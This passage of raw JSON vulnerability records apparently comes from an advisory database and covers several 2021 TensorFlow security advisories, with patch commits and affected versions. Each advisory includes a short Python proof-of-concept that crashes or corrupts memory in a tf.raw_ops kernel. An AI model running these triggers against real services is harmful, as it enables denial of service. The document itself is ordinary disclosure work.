input.dim_size(axis_);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [99085e8ff02c3763a0ec2263e44daec416f6a387](https://github.com/tensorflow/tensorflow/commit/99085e8ff02c3763a0ec2263e44daec416f6a387).\n  \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:23:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h9px-9vqg-222h","https://nvd.nist.gov/vuln/detail/CVE-2021-29553","https://github.com/tensorflow/tensorflow/commit/99085e8ff02c3763a0ec2263e44daec416f6a387","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-481.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-679.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-190.yaml","https://github.com/advisories/GHSA-h9px-9vqg-222h"],"source_kind":"github","identifiers":["GHSA-h9px-9vqg-222h","CVE-2021-29553"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.723Z","updated_at":"2024-10-31T20:51:11.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU5cTIteDJxYy00Yzk3","url":"https://github.com/advisories/GHSA-59q2-x2qc-4c97","title":"Heap OOB access in unicode ops","description":"### Impact\nAn attacker can access data outside of bounds of heap allocated array in `tf.raw_ops.UnicodeEncode`:\n\n```python\nimport tensorflow as tf\n\ninput_values = tf.constant([58], shape=[1], dtype=tf.int32)\ninput_splits = tf.constant([[81, 101, 0]], shape=[3], dtype=tf.int32)\noutput_encoding = \"UTF-8\"\n\ntf.raw_ops.UnicodeEncode(\n    input_values=input_values, input_splits=input_splits,\n    output_encoding=output_encoding)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/472c1f12ad9063405737679d4f6bd43094e1d36d/tensorflow/core/kernels/unicode_ops.cc)\nassumes that the `input_value`/`input_splits` pair specify a valid sparse tensor.\n\n### Patches\nWe have patched the issue in GitHub commit [51300ba1cc2f487aefec6e6631fef03b0e08b298](https://github.com/tensorflow/tensorflow/commit/51300ba1cc2f487aefec6e6631fef03b0e08b298).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:24:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-59q2-x2qc-4c97","https://nvd.nist.gov/vuln/detail/CVE-2021-29559","https://github.com/tensorflow/tensorflow/commit/51300ba1cc2f487aefec6e6631fef03b0e08b298","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-487.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-685.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-196.yaml","https://github.com/advisories/GHSA-59q2-x2qc-4c97"],"source_kind":"github","identifiers":["GHSA-59q2-x2qc-4c97","CVE-2021-29559"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.831Z","updated_at":"2024-10-31T20:52:48.000Z","epss_percentage":0.00017,"epss_percentile":0.02699},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTM2dm0teHczNC14NHBq","url":"https://github.com/advisories/GHSA-36vm-xw34-x4pj","title":"CHECK-fail in `tf.raw_ops.IRFFT`","description":"### Impact\nAn attacker can cause a denial of service by exploiting a `CHECK`-failure coming from the implementation of `tf.raw_ops.IRFFT`:\n    \n```python\nimport tensorflow as tf\n\nvalues = [-10.0] * 130\nvalues[0] = -9.999999999999995\ninputs = tf.constant(values, shape=[10, 13], dtype=tf.float32)\ninputs = tf.cast(inputs, dtype=tf.complex64)\nfft_length = tf.constant([0], shape=[1], dtype=tf.int32)\n\ntf.raw_ops.IRFFT(input=inputs, fft_length=fft_length)\n``` \n    \nThe above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.\n\n### Patches\nWe have patched the issue in GitHub commit [1c56f53be0b722ca657cbc7df461ed676c8642a2](https://github.com/tensorflow/tensorflow/commit/1c56f53be0b722ca657cbc7df461ed676c8642a2).\n  \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team. ","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:25:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-36vm-xw34-x4pj","https://nvd.nist.gov/vuln/detail/CVE-2021-29562","https://github.com/tensorflow/tensorflow/commit/1c56f53be0b722ca657cbc7df461ed676c8642a2","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-490.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-688.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-199.yaml","https://github.com/advisories/GHSA-36vm-xw34-x4pj"],"source_kind":"github","identifiers":["GHSA-36vm-xw34-x4pj","CVE-2021-29562"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.859Z","updated_at":"2024-11-01T16:55:39.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVncWYtNDU2cC00ODM2","url":"https://github.com/advisories/GHSA-5gqf-456p-4836","title":"Reference binding to nullptr in `SdcaOptimizer`","description":"### Impact\nThe implementation of `tf.raw_ops.SdcaOptimizer` triggers undefined behavior due to dereferencing a null pointer:\n\n```python\nimport tensorflow as tf\n\nsparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_feature_values = []\n\ndense_features = []\ndense_weights = []\n\nexample_weights = tf.constant((0.0), dtype=tf.float32)\nexample_labels = tf.constant((0.0), dtype=tf.float32)\n\nsparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]\nsparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]\n  \nexample_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)\n  \ntf.raw_ops.SdcaOptimizer(\n  sparse_example_indices=sparse_example_indices,\n  sparse_feature_indices=sparse_feature_indices,\n  sparse_feature_values=sparse_feature_values, dense_features=dense_features,\n  example_weights=example_weights, example_labels=example_labels, \n  sparse_indices=sparse_indices, sparse_weights=sparse_weights, \n  dense_weights=dense_weights, example_state_data=example_state_data,\n  loss_type=\"logistic_loss\", l1=0.0, l2=0.0, num_loss_partitions=1,\n  num_inner_iterations=1, adaptative=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/60a45c8b6192a4699f2e2709a2645a751d435cc3/tensorflow/core/kernels/sdca_internal.cc) does not validate that the user supplied arguments satisfy all [constraints expected by the op](https://www.tensorflow.org/api_docs/python/tf/raw_ops/SdcaOptimizer).\n\n### Patches\nWe have patched the issue in GitHub commit [f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb](https://github.com/tensorflow/tensorflow/commit/f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:25:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5gqf-456p-4836","https://nvd.nist.gov/vuln/detail/CVE-2021-29572","https://github.com/tensorflow/tensorflow/commit/f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-500.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-698.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-209.yaml","https://github.com/advisories/GHSA-5gqf-456p-4836"],"source_kind":"github","identifiers":["GHSA-5gqf-456p-4836","CVE-2021-29572"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.954Z","updated_at":"2024-10-31T21:03:57.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXI2cGctcGp3Yy1qNTg1","url":"https://github.com/advisories/GHSA-r6pg-pjwc-j585","title":"Null pointer dereference in `SparseFillEmptyRows`","description":"### Impact\nAn attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.SparseFillEmptyRows`:\n\n```python\nimport tensorflow as tf\n\nindices = tf.constant([], shape=[0, 0], dtype=tf.int64)\nvalues = tf.constant([], shape=[0], dtype=tf.int64)\ndense_shape = tf.constant([], shape=[0], dtype=tf.int64)\ndefault_value = 0\n    \ntf.raw_ops.SparseFillEmptyRows(\n    indices=indices, values=values, dense_shape=dense_shape,\n    default_value=default_value)\n```\n\nThis is because of missing [validation](https://github.com/tensorflow/tensorflow/blob/fdc82089d206e281c628a93771336bf87863d5e8/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L230-L231) that was covered under a `TODO`. If the `dense_shape` tensor is empty, then `dense_shape_t.vec\u003c\u003e()` would cause a null pointer dereference in the implementation of the op:\n\n```cc\ntemplate \u003ctypename T, typename Tindex\u003e\nstruct SparseFillEmptyRows\u003cCPUDevice, T, Tindex\u003e {\n  Status operator()(OpKernelContext* context, const Tensor\u0026 default_value_t,\n                    const Tensor\u0026 indices_t, const Tensor\u0026 values_t,\n                    const Tensor\u0026 dense_shape_t,\n                    typename AsyncOpKernel::DoneCallback done) {\n    ...\n    const auto dense_shape = dense_shape_t.vec\u003cTindex\u003e();\n    ... \n  }\n}\n``` \n\n### Patches\nWe have patched the issue in GitHub commit [faa76f39014ed3b5e2c158593b1335522e573c7f](https://github.com/tensorflow/tensorflow/commit/faa76f39014ed3b5e2c158593b1335522e573c7f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:25:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-r6pg-pjwc-j585","https://nvd.nist.gov/vuln/detail/CVE-2021-29565","https://github.com/tensorflow/tensorflow/commit/faa76f39014ed3b5e2c158593b1335522e573c7f","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-493.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-691.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-202.yaml","https://github.com/advisories/GHSA-r6pg-pjwc-j585"],"source_kind":"github","identifiers":["GHSA-r6pg-pjwc-j585","CVE-2021-29565"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.887Z","updated_at":"2024-11-01T17:03:09.000Z","epss_percentage":0.00059,"epss_percentile":0.1843},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTgyOHgtcWMycC13cHJx","url":"https://github.com/advisories/GHSA-828x-qc2p-wprq","title":"Undefined behavior in `MaxPool3DGradGrad`","description":"### Impact\nThe implementation of `tf.raw_ops.MaxPool3DGradGrad` exhibits undefined behavior by dereferencing null pointers backing attacker-supplied empty tensors:\n\n```python\nimport tensorflow as tf\n\norig_input = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\norig_output = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\ngrad = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\nksize = [1, 1, 1, 1, 1]\nstrides = [1, 1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.MaxPool3DGradGrad(\n    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,\n    strides=strides, padding=padding)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/72fe792967e7fd25234342068806707bbc116618/tensorflow/core/kernels/pooling_ops_3d.cc#L679-L703) fails to validate that the 3 tensor inputs are not empty. If any of them is empty, then accessing the elements in the tensor results in dereferencing a null pointer.\n\n### Patches\nWe have patched the issue in GitHub commit [a3d9f9be9ac2296615644061b40cefcee341dcc4](https://github.com/tensorflow/tensorflow/commit/a3d9f9be9ac2296615644061b40cefcee341dcc4).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-828x-qc2p-wprq","https://nvd.nist.gov/vuln/detail/CVE-2021-29574","https://github.com/tensorflow/tensorflow/commit/a3d9f9be9ac2296615644061b40cefcee341dcc4","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-502.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-700.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-211.yaml","https://github.com/advisories/GHSA-828x-qc2p-wprq"],"source_kind":"github","identifiers":["GHSA-828x-qc2p-wprq","CVE-2021-29574"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.973Z","updated_at":"2024-10-31T20:56:38.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZmOTQtMzZnNS02OXY4","url":"https://github.com/advisories/GHSA-vf94-36g5-69v8","title":"Division by zero in TFLite's implementation of `DepthToSpace`","description":"### Impact\nThe implementation of the `DepthToSpace` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/depth_to_space.cc#L63-L69):\n\n```cc\nconst int block_size = params-\u003eblock_size;\n...\nconst int input_channels = input-\u003edims-\u003edata[3];\n... \nint output_channels = input_channels / block_size / block_size;\n``` \n\nAn attacker can craft a model such that `params-\u003eblock_size` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [106d8f4fb89335a2c52d7c895b7a7485465ca8d9](https://github.com/tensorflow/tensorflow/commit/106d8f4fb89335a2c52d7c895b7a7485465ca8d9).\n    \nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:27:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vf94-36g5-69v8","https://nvd.nist.gov/vuln/detail/CVE-2021-29595","https://github.com/tensorflow/tensorflow/commit/106d8f4fb89335a2c52d7c895b7a7485465ca8d9","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-523.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-721.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-232.yaml","https://github.com/advisories/GHSA-vf94-36g5-69v8"],"source_kind":"github","identifiers":["GHSA-vf94-36g5-69v8","CVE-2021-29595"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.387Z","updated_at":"2024-11-13T16:03:01.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRodnYtN3g5NC03dnE4","url":"https://github.com/advisories/GHSA-4hvv-7x94-7vq8","title":"Null dereference in Grappler's `TrySimplify`","description":"### Impact\nThe implementation of 